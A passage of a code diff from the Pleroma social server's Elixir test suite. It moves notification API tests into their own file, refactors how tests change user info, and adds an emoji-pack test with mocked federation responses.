assert %{} = json_response(conn, 200)
end
test "clearing all notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/clear")
assert %{} = json_response(conn, 200)
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/notifications")
assert all = json_response(conn, 200)
assert all == []
end
test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
notification1_id = get_notification_id_by_activity(activity1)
notification2_id = get_notification_id_by_activity(activity2)
notification3_id = get_notification_id_by_activity(activity3)
notification4_id = get_notification_id_by_activity(activity4)
conn = assign(conn, :user, user)
# min_id
result =
conn
|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
|> json_response(:ok)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
# since_id
result =
conn
|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
# max_id
result =
conn
|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
|> json_response(:ok)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
end
test "filters notifications using exclude_types", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
mention_notification_id = get_notification_id_by_activity(mention_activity)
favorite_notification_id = get_notification_id_by_activity(favorite_activity)
reblog_notification_id = get_notification_id_by_activity(reblog_activity)
follow_notification_id = get_notification_id_by_activity(follow_activity)
conn = assign(conn, :user, user)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
end
test "destroy multiple", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
notification1_id = get_notification_id_by_activity(activity1)
notification2_id = get_notification_id_by_activity(activity2)
notification3_id = get_notification_id_by_activity(activity3)
notification4_id = get_notification_id_by_activity(activity4)
conn = assign(conn, :user, user)
result =
conn
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
conn2 =
conn
|> assign(:user, other_user)
result =
conn2
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
conn_destroy =
conn
|> delete("/api/v1/notifications/destroy_multiple", %{
"ids" => [notification1_id, notification2_id]
})
assert json_response(conn_destroy, 200) == %{}
result =
conn2
|> get("/api/v1/notifications")
|> json_response(:ok)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
end
test "doesn't see notifications after muting user with notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert json_response(conn, 200) == []
end
test "see notifications after muting user without notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2, false)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
end
test "see notifications after muting user with notifications and with_muted parameter", %{
conn: conn
} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
assert length(json_response(conn, 200)) == 1
end
defp get_notification_id_by_activity(%{id: id}) do
Notification
|> Repo.get_by(activity_id: id)
|> Map.get(:id)
|> to_string()
end
end

View file

@ -999,299 +999,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
end
describe "notifications" do
test "list of notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications")
expected_response =
~s(hi <span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
user.ap_id
}" rel="ugc">@<span>#{user.nickname}</span></a></span>)
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
assert response == expected_response
end
test "getting a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications/#{notification.id}")
expected_response =
~s(hi <span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
user.ap_id
}" rel="ugc">@<span>#{user.nickname}</span></a></span>)
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
assert response == expected_response
end
test "dismissing a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
assert %{} = json_response(conn, 200)
end
test "clearing all notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/clear")
assert %{} = json_response(conn, 200)
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/notifications")
assert all = json_response(conn, 200)
assert all == []
end
test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
conn =
conn
|> assign(:user, user)
# min_id
conn_res =
conn
|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
# since_id
conn_res =
conn
|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
# max_id
conn_res =
conn
|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
end
test "filters notifications using exclude_types", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
mention_notification_id =
Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string()
favorite_notification_id =
Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string()
reblog_notification_id =
Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string()
follow_notification_id =
Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string()
conn =
conn
|> assign(:user, user)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
conn_res =
get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
end
test "destroy multiple", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string()
notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string()
notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string()
notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string()
conn =
conn
|> assign(:user, user)
conn_res =
conn
|> get("/api/v1/notifications")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
conn2 =
conn
|> assign(:user, other_user)
conn_res =
conn2
|> get("/api/v1/notifications")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
conn_destroy =
conn
|> delete("/api/v1/notifications/destroy_multiple", %{
"ids" => [notification1_id, notification2_id]
})
assert json_response(conn_destroy, 200) == %{}
conn_res =
conn2
|> get("/api/v1/notifications")
result = json_response(conn_res, 200)
assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
end
test "doesn't see notifications after muting user with notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert json_response(conn, 200) == []
end
test "see notifications after muting user without notifications", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2, false)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
end
test "see notifications after muting user with notifications and with_muted parameter", %{
conn: conn
} do
user = insert(:user)
user2 = insert(:user)
{:ok, _, _, _} = CommonAPI.follow(user, user2)
{:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
conn = assign(conn, :user, user)
conn = get(conn, "/api/v1/notifications")
assert length(json_response(conn, 200)) == 1
{:ok, user} = User.mute(user, user2)
conn = assign(build_conn(), :user, user)
conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
assert length(json_response(conn, 200)) == 1
end
end
describe "reblogging" do
test "reblogs and returns the reblogged status", %{conn: conn} do
activity = insert(:note_activity)
@ -2654,14 +2361,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
{:ok, _} = CommonAPI.post(user, %{"status" => "cofe"})
# Stats should count users with missing or nil `info.deactivated` value
user = User.get_cached_by_id(user.id)
info_change = Changeset.change(user.info, %{deactivated: nil})
{:ok, _user} =
user
|> Changeset.change()
|> Changeset.put_embed(:info, info_change)
|> User.update_and_set_cache()
user.id
|> User.get_cached_by_id()
|> User.update_info(&Changeset.change(&1, %{deactivated: nil}))
Pleroma.Stats.force_update()
@ -4108,13 +3812,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
describe "POST /api/v1/pleroma/accounts/confirmation_resend" do
setup do
user = insert(:user)
info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true)
{:ok, user} =
user
|> Changeset.change()
|> Changeset.put_embed(:info, info_change)
insert(:user)
|> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|> Repo.update()
assert user.info.confirmation_pending

View file

@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: "valid html",
sensitive: false,
pleroma: %{},
pleroma: %{
discoverable: false
},
fields: []
},
pleroma: %{
@ -137,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
pleroma: %{},
pleroma: %{
discoverable: false
},
fields: []
},
pleroma: %{
@ -310,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
pleroma: %{},
pleroma: %{
discoverable: false
},
fields: []
},
pleroma: %{

View file

@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
import Pleroma.Factory
alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web.OAuth.Authorization
alias Pleroma.Web.OAuth.OAuthController
alias Pleroma.Web.OAuth.Token
@ -775,15 +776,11 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
Pleroma.Config.put([:instance, :account_activation_required], true)
password = "testpassword"
user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true)
{:ok, user} =
user
|> Ecto.Changeset.change()
|> Ecto.Changeset.put_embed(:info, info_change)
insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
|> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|> Repo.update()
refute Pleroma.User.auth_active?(user)

View file

@ -50,20 +50,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do
assert response(conn, 200)
end) =~ "[error]"
# Set a wrong magic-key for a user so it has to refetch
salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1")
# Wrong key
info_cng =
User.Info.remote_user_creation(salmon_user.info, %{
info = %{
magic_key:
"RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
})
}
salmon_user
|> Ecto.Changeset.change()
|> Ecto.Changeset.put_embed(:info, info_cng)
|> User.update_and_set_cache()
# Set a wrong magic-key for a user so it has to refetch
"http://gs.example.org:4040/index.php/user/1"
|> User.get_cached_by_ap_id()
|> User.update_info(&User.Info.remote_user_creation(&1, info))
assert capture_log(fn ->
conn =

View file

@ -33,6 +33,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
refute pack["pack"]["can-download"]
end
test "listing remote packs" do
admin = insert(:user, info: %{is_admin: true})
conn = build_conn() |> assign(:user, admin)
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
mock(fn
%{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: ["shareable_emoji_packs"]}})
%{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} ->
json(resp)
end)
assert conn
|> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"})
|> json_response(200) == resp
end
test "downloading a shared pack from download_shared" do
conn = build_conn()
@ -55,13 +77,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
mock(fn
%{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
json([%{href: "https://old-instance/nodeinfo/2.1.json"}])
json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})
%{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: []}})
%{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
json([%{href: "https://example.com/nodeinfo/2.1.json"}])
json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: ["shareable_emoji_packs"]}})